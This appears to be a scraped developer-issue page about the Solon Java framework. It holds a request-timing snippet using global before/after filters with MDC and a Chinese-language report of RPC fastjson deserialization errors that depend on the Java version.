
                      Solon.global().before(ctx -> {
				
				MDC.put("start", System.currentTimeMillis()+"");
			});
			Solon.global().after(ctx -> {
				
				
				long start = Long.parseLong(MDC.get("start"));
				log.debug(" Time in ms : " + (System.currentTimeMillis() - start));
			});

What is the best way to achieve the same?

Got problem depending of java version

你好!

我发现Solon RPC服务器存在一些问题,取决于使用的java版本
在我的例子中,客户仍然是在JAVA 8中。

当服务器在java 8中时,我得到一个客户端错误。

com.alibaba.fastjson.JSONException: can not get javaBeanDeserializer. java.lang.Integer

当Solon RPC服务器在JAVA 16中没有错误,但服务器没有收到调用,客户端也没有错误。
一切都在OpenJDK 11下完美运行。

Solon是否有使用JAVA版本的先决条件?

谢谢您的帮助

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.